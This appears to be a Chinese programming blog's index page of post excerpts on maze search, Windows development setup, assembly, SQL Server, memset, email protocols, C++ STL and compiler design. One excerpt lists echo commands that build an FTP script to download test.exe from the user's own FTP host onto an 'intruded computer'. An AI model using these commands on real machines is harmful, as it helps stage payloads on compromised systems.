摘要: 在RPG游戏中我们经常会看到一些迷宫,我之前玩仙剑一的时候就经常在几个迷宫里绕来绕去也绕不出来,玩仙三由于游戏视角可以转,更是费劲。这里我们使用深度优先算法达到遍历一个迷宫的目的。 首先定义一个有序元组A:{左,上,右,下}表示遍历的顺序,这个顺序将用来生成搜索树的子节点,当然顺序是可以变的,如果地图是45度角的,也可以定义非正方向,总之能表示一个顺序就好。 然后针对每个分叉节点,定义候选方向... 阅读全文
posted @ 2010-08-13 14:34 HarryChenThu 阅读(627) 评论(0) 推荐(0)
摘要: 需要安装的软件 1, Visual Studio 2005 Pro + MSDN.iso 安装到 C:\DEV\VS2005 2, Platform SDK 可以从微软官方网站下载,我下载的是 Windows Server 2003 R2 Platform SDK ISO.img, 用虚拟光驱 daemon tools 安装到 C:\DEV\PSDK 3, DirectX SDK 也可以从微软官... 阅读全文
posted @ 2010-08-13 14:33 HarryChenThu 阅读(565) 评论(0) 推荐(0)
摘要: 写接口实验程序,想写个函数,函数里读入一个数字,存到内存一个变量里,传了变量的偏移值进去,函数里怎么也写不进内存,调了很长时间后才发现mov [bp+4],ax是不对的,[bp+4]只取出了地址,想在写进去还要再寻一次值,我觉得一般的办法就是寄存器间接寻址了,加一条: MOV SI,[BP+4] MOV [SI],AX 这里寄存器只能用BX,BP,SI,DI,对32位汇编可以使用EAX,EBX,E... 阅读全文
posted @ 2010-08-13 14:32 HarryChenThu 阅读(220) 评论(0) 推荐(0)
摘要: 原文地址:http://tw.myblog.yahoo.com/jeff-yeh/article?mid=603&prev=605&next=597 本来是繁体,让我转成简体了,如下 很多人应该都经历过一段T-SQL的学习成长路程,最多人最常用的就是直接把使用者输入的值,直接组到查询字符串里. 例如 : 很多范例及书籍都有这样的写法,可是这写法有很严重的SQL Injecti... 阅读全文
posted @ 2010-08-13 14:31 HarryChenThu 阅读(477) 评论(0) 推荐(0)
摘要: 在Windows 2003 sp1服务器上缺省安装 MS SQL Server 2005 简体中文企业版,在连接服务器时显示“不允许远程连接”。 具体显示如下:(xxxxxsql为服务器名,在本地操作)C:\Documents and Settings\Administrator>sqlcmd -S xxxxxsqlHResult 0x2,级别 16,状态 1命名管道提供程序: 无法打开与 ... 阅读全文
posted @ 2010-08-13 14:31 HarryChenThu 阅读(1034) 评论(0) 推荐(0)
摘要: memest原型 memset:作用是在一段内存块中填充某个给定的值,它对较大的结构体或数组进行清零操作的一种最快方法。常见的三种错误第一: 搞反了c 和 n的位置. 一定要记住 如果要把一个char a[20]清零, 一定是 memset(a, 0, 20) 而不是 memset(a, 20, 0) 第二: 过度使用memset, 我想这些程序员可能有某种心理阴影, 他们惧怕未经初始化的内存, ... 阅读全文
posted @ 2010-08-13 14:29 HarryChenThu 阅读(462) 评论(0) 推荐(0)
摘要: 提供向 URI 标识的资源发送数据和从 URI 标识的资源接收数据的公共方法。 下表列出了由 WebClient 类型公开的成员。 公共构造函数 名称 说明 WebClient 初始化 WebClient 类的新实例。 页首 公共属性 (请参见 受保护的属性 ) 名称 说明 BaseAddress 获取或设置 WebClient 发出请求的基 URI。 CachePolicy 对于此... 阅读全文
posted @ 2010-08-13 14:26 HarryChenThu 阅读(889) 评论(0) 推荐(0)
摘要: 感动啊...... 转载一下,感谢作者 最精看到很多机油出现《PC套件红外出现问题,导致手机不能用数据线与电脑连接上》每次打开PC套件后点击“单击此处可连接手机”之后就出现一个提示框,里面写着--------------------------------------------------------------------------------------------------------... 阅读全文
posted @ 2010-08-13 14:26 HarryChenThu 阅读(962) 评论(0) 推荐(0)
摘要: 电子邮件与普通邮件有类似的地方,发信者注明收件人的姓名与地址(即邮件地址),发送方服务器把邮件传到收件方服务器,收件方服务器再把邮件发到收件人的邮箱中。如下图所示: 更进一步的解释涉及到以下几个概念: MUA -- Mail User Agent, 邮件用户代理,帮助用户读写邮件; MTA -- Mail Transport Agent, 邮件传输代理,负责把邮件由一个服务器传到另一个服务器... 阅读全文
posted @ 2010-08-13 14:24 HarryChenThu 阅读(693) 评论(0) 推荐(0)
摘要: 中午闲来无事,把永哥的笔记本拆了(Acer Travelmate某款,很老的机器了)。整个过程有惊无险,也没拍照片,大体说下拆机流程吧,如果有人要拆该系笔记本可以参考。 先卸电池。拿掉诸如读卡器盖,pcmica盖之类无关的东西。然后拆掉后盖的所有螺丝,貌似会有两个跟其他不一样的,一个在中间,一个在右下角。拆完所有螺丝之后,拿掉硬盘盖,这时能看到一个硬盘的保护架,貌似六个螺丝,保护的真好........ 阅读全文
posted @ 2010-08-13 14:23 HarryChenThu 阅读(1153) 评论(0) 推荐(0)
摘要: 作者:陈俊清 发文时间:2002.03.06 本文简要说明了通过POP3协议收取邮件、MIME邮件的解码的原理;针对收取和MIME解码,提供了两个实用的PHP类,并提供了使用的样例。分为邮件收取、MIME解码两个部分。这里我们先向您介绍邮件的收取,解码部分会在以后的文章中为各位详细的介绍,敬请关注。 现在Internet上最大的应用应该是非Email莫属了,我们每天都习惯于每天通过Email进行... 阅读全文
posted @ 2010-08-13 14:22 HarryChenThu 阅读(1002) 评论(0) 推荐(0)
摘要: 用命令如何把自己电脑上的文件上传到被入侵的电脑上呢。方法有很多。用ftp是个不错的选择。方法如下 echo open 你的ftpip >ftp.txt echo user >>ftp.txt echo password>>ftp.txt echo get test.exe >>ftp.txt echo bye >>ftp.txt ftp -s:... 阅读全文
posted @ 2010-08-13 14:20 HarryChenThu 阅读(2110) 评论(0) 推荐(0)
摘要: 在Internet,POP3(PostOfficeProtocol3)协议通常被用来接收电子邮件。这个协议很容易学,因为它只包含12个命令(其中有3个你完全可以忽略它们的存在)。这些命令被客户端计算机用来发送给远程服务器。反过来,服务器返回给客户端计算机两个回应代码。如果你还没有看本站另一篇文章-“WinsockTerminal示例程序”的话,请先阅读那篇文章,因为你需要那个程序来做实验。运行示例... 阅读全文
posted @ 2010-08-13 14:20 HarryChenThu 阅读(530) 评论(0) 推荐(0)
摘要: telnet smtp.163.com 25 //登陆 smtp.163.com 端口号为 25Trying 202.108.44.205...Connected to smtp.163.com (202.108.44.205).Escape character is '^]'.220 163.com Coremail SMTP(Anti Spam) SystemHELO localhost /... 阅读全文
posted @ 2010-08-13 14:19 HarryChenThu 阅读(198) 评论(0) 推荐(0)
摘要: 其实也没搞太懂,希望有人能给详细解释一下。 首先是_Iter,比如: set::insert(_Iter _First,_Iter _Last); _Iter的解释是可以转换为指针类型的....反正指针确实是可以的,常量是不行的... 其次是算法库里常见的一种类型:_InIt 比如find(_InIt _First,_InIt _Last,const _Ty& _val); _InIt的解... 阅读全文
posted @ 2010-08-13 14:16 HarryChenThu 阅读(210) 评论(0) 推荐(0)
摘要: --------------------------按我的条理整理的,直接可以赋值的写在最后,其他的方法都是在此基础上得来的---------------------------- 以下用pcstr表示const char*(LPCTSTR),pstr表示char*(LPSTR),用cstr表示Cstring,用str表示string,i表示int string转char*1.pcstr=st... 阅读全文
posted @ 2010-08-13 14:15 HarryChenThu 阅读(1471) 评论(0) 推荐(0)
摘要: 以前用set的时候总是小打小闹,参数类型基本是string,int,后来遇到需要用类和结构体做参数的,如下所示:然后就是一堆问题....后来试了好久发觉类有一定的要求,STL作为一个容器只是在调用相应的方法,set的基本要求应该是拷贝构造函数,赋值运算符重载,大于小于运算符重载,如下所示:然后就没问题了。 阅读全文
posted @ 2010-08-13 14:04 HarryChenThu 阅读(511) 评论(0) 推荐(0)
摘要: 示例代码如下: 注意:第一次找到的是. 表示本目录, 第二次找到的是.. 表示上级目录,然后才找相应的文件和文件夹,按名称排序返回 阅读全文
posted @ 2010-08-13 14:02 HarryChenThu 阅读(167) 评论(0) 推荐(0)
摘要: 调试一个文件输出函数的时候发现是乱码,立马想到查看二进制,发觉十六进制编辑器是太有用的一个东西了 并且写c++的人一个明显的习惯是用指针管理一块空间,这样编译器会把空间申请在堆上,效率更高,并且可以申请更大的内存. 但是除了需要防止溢出和释放内存外,调试的时候也无法像数组那样在VS里很明显的看到内容,这样我们可以用如下代码把它打印到文件,然后在文件中用WinHex查看,很方便 阅读全文
posted @ 2010-08-13 14:00 HarryChenThu 阅读(275) 评论(0) 推荐(0)
摘要: 圆周率3000位 3.1415926535 8979323846 2643383279 5028841971 6939937510 5820974944 5923078164 06286208998628034825 3421170679 8214808651 3282306647 0938446095 5058223172 5359408128 48111745028410270193 8521... 阅读全文
posted @ 2010-08-13 13:58 HarryChenThu 阅读(1649) 评论(0) 推荐(0)
摘要: 摘要: 概述面向对象语言的重要概念和实现技术 以C++语言为例,介绍如何将C++程序翻译成C程序 实际的编译器大都把C++程序直接翻译成低级语言程序 编译器对于继承的处理,往往是父类包含子类的对象,例如 再深入的偶也不会了......... 下面我们讨论对面向对象多态特性的处理。多态是面向对象语言最为精彩的地方,可以说是诞生无数神奇的特性,多态给了我们极大的自由,让我们可以在一套类的体系结构... 阅读全文
posted @ 2010-08-13 13:40 HarryChenThu 阅读(728) 评论(0) 推荐(0)
摘要: 摘要: 概述面向对象语言的重要概念和实现技术 以C++语言为例,介绍如何将C++程序翻译成C程序 实际的编译器大都把C++程序直接翻译成低级语言程序 关于面向过程的高级语言的编译过程想必大家不陌生。《编译原理》类的课程多是以C语言(C的子集)为例,介绍高级语言的编译过程。但是自从面向对象语言产生以来(I love OO programming,yeah),面向对象的编程语言明显在编程语言中占... 阅读全文
posted @ 2010-08-13 13:35 HarryChenThu 阅读(1438) 评论(0) 推荐(0)